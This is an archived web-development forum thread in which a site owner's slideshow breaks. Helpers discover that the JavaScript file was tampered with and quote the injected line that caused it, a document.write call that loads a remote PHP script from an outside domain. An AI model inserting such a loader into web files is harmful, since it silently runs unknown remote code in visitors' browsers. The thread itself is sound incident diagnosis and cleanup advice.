Log in

View Full Version : Resolved I just added one line????



Silver
11-24-2013, 11:03 PM
1) Script Title: :: Ultimate Fade-in slideshow (v2.4)

2) Script URL (on DD): http://www.dynamicdrive.com/dynamicindex14/fadeinslideshow.htm

3) Describe problem: I have the above script on my website. I added just one line and I broke the thing. I have no idea what I did but here is the code:


<script type="text/javascript">

var mygallery=new fadeSlideShow({
wrapperid: "fadeshow1", //ID of blank DIV on page to house Slideshow
dimensions: [953, 389], //width/height of gallery in pixels. Should reflect dimensions of largest image
imagearray: [
["http://mygiftsite.com/Images-Slideshow/Christmas_2013.jpg", "http://mygiftsite.com/Religious-Figurines-Religious-Statues.htm"],
["http://mygiftsite.com/Images-Slideshow/Cabin-Birdhouse.jpg", "http://mygiftsite.com/Bird-Houses-Victorian-Bird-Houses-Country-Bird-Houses.htm"],
["http://mygiftsite.com/Images-Slideshow/Thanksgiving_2013.jpg", "http://mygiftsite.com/Thanksgiving-Decorations.htm"],
["http://mygiftsite.com/Images-Slideshow/CinnamonCandle.jpg", "http://mygiftsite.com/Scented-Candles-Scented-Jar-Candles.htm"],
["http://mygiftsite.com/Images-Slideshow/CuckooClock.jpg", "http://mygiftsite.com/Cuckoo-Clocks-Black-Forest-Cuckoo-Clocks.htm"],
["http://mygiftsite.com/Images-Slideshow/PalmTree.jpg", "http://mygiftsite.com/Silk-Plants-Silk-Trees-Silk-Flowers.htm"],
["http://mygiftsite.com/Images-Slideshow/Christmas_2013.jpg", "http://mygiftsite.com/Religious-Figurines-Religious-Statues.htm"],
["http://mygiftsite.com/Images-Slideshow/SageBathSet.jpg", "http://mygiftsite.com/Bath-Accessory-Bath-Accessories-Discount-Bath-Accessories01.htm"]
//<--no trailing comma after very last image element!
],
displaymode: {type:'auto', pause:9000, cycles:0, wraparound:false} ,
persist: false, //remember last viewed slide and recall within same session?
fadeduration: 500, //transition duration (milliseconds)
descreveal: "no",
togglerid: ""
})
</script>

I added the Christmas_2013.jpg and the whole thing isn't showing up. I don't get it???

The address of my site is mygiftsite.com

Thanks in advance for correcting my screw up.

Silver

ajfmrf
11-25-2013, 05:06 AM
looks fine using firefox 25.0.1

Silver
11-25-2013, 05:51 AM
Bud:

It may look fine but did you check my website. There is something wrong because the slideshow is now gone. mygiftsite.com

Thanks,

Silver

traq
11-25-2013, 06:11 AM
Here's a quick intro to the debugging process:

Major browsers all have debugging tools (firebug, Chrome dev tools, etc.) that are very helpful in situations like this. In Chrome, for example, press [F12]:
Uncaught SyntaxError: Unexpected identifier fadeslideshow.js:25
Uncaught ReferenceError: fadeSlideShow is not defined (index):75
Uncaught ReferenceError: ok is not defined tk4ClLOQ.php:1

Look at the first error first. "fadeslideshow.js" is the name of the file where the problem is; "25" is the line number. "Unexpected Identifier" is the problem. An "identifier" is a name (e.g., the name of a function or variable). "Unexpected" means it is in the wrong place. Look at line 25:
setting.curimage=(setting.persist)? fadeSlideShow.routines.getCookie("gallery-" setting.wrapperid) : 0

When you call the fadeSlideShow.routines.getCookie() method, you have two values with a single space between them. That will cause a syntax error—if they are supposed to be two separate arguments, they need to be separated (i.e., by a comma), or if they're supposed to be a single argument, the need to be joined together into a single value.

If you don't follow this, that's okay. Just go back to the original version of the script and compare:
setting.curimage=(setting.persist)? fadeSlideShow.routines.getCookie("gallery-"+setting.wrapperid) : 0

In this case, it's obvious that you accidentally left out the + (which concatenates the two values into a single argument). Correct it, try again, and see what happens next.

jscheuer1
11-25-2013, 02:36 PM
In fact, in this case the entire fadeslideshow.js file is corrupt. All + symbols have been removed from it and code (possibly malicious):


/*e21fef*/
document.write('<script src="http://encon.com.co/tk4ClLOQ.php?id=46013583" type="text/javascript"></script>');
/*/e21fef*/

Has been added at the end.

If you don't know why this code is there, it's either automatically added by your host, or - more likely some kind of attack.

Replace the fadeslideshow.js file with a fresh copy from Dynamic Drive. If it becomes corrupt again, report this abuse to your host.

Silver
11-25-2013, 02:41 PM
Adrian:

All I see on line 25 is this:

<script type="text/javascript">

I am using IE. I went into F12 and I still see the above. Very confused. I have never dealt with this before.

Thank you,

Silver

Silver
11-25-2013, 03:03 PM
Oh Boy:

I can't believe it. I will report this. I'm not sure what to do now but won't be able to do this until later. I will undoubtedly be back for help.

Thank you,

Silver

traq
11-25-2013, 03:34 PM
Adrian: All I see on line 25 is this:
<script type="text/javascript">

It means line 25 of the javascript file.

However, as John pointed out, you should probably replace the entire script rather than trying to fix it.


I'm not sure what to do now but won't be able to do this until later…

At the very least, start by removing the script that has that unknown code inserted in it. Do not wait. Look at your other files as well, and see if anything unusual has shown up in them as well.

Silver
11-25-2013, 08:46 PM
OK. I have not received an answer from my host as of yet. You say that I need to replace the fadeslideshow.js file with a fresh copy. It has been such a long time since I installed this I really don't know where that file is located so I can replace it. Can someone give me a clue.

Thanks for putting up with a "non-coder"

Silver

traq
11-25-2013, 09:39 PM
From your webpage:
<script type="text/javascript" src="SlideShow/fadeslideshow.js">

You can get the "fresh copy" from the demo page here on DD (http://www.dynamicdrive.com/dynamicindex14/fadeinslideshow.htm), obviously.

* * * * *

Until this is straightened out, I'm going to "play it safe" and remove the hyperlink to your site (just in case you have been attacked, I don't want anyone clicking through unaware).
If you need to, you may post additional URLs (leave off the "http://" and "www." parts), but please don't post any hyperlinks until you have this solved.


Thanks for putting up with a "non-coder"

We were all there once, and that's why we're here now. : )

Silver
11-25-2013, 11:42 PM
Hello Again:

I just installed a "fresh copy" along with the new "Christmas" slide and all is well now. I really have no idea what really happened.

Thanks again,

Silver

traq
11-26-2013, 12:45 AM
Good to hear. Check it over the next few weeks, just in case it comes back - which might indicate that an attacker managed to upload something to your site.

Silver
11-26-2013, 01:06 AM
I check it every day.

Thanks,

Silver

traq
11-26-2013, 01:15 AM
welcome.

If your question has been answered, please mark your thread "resolved":
On your original post (post #1), click [edit], then click [go advanced]. In the "thread prefix" box, select "Resolved". Click [save changes].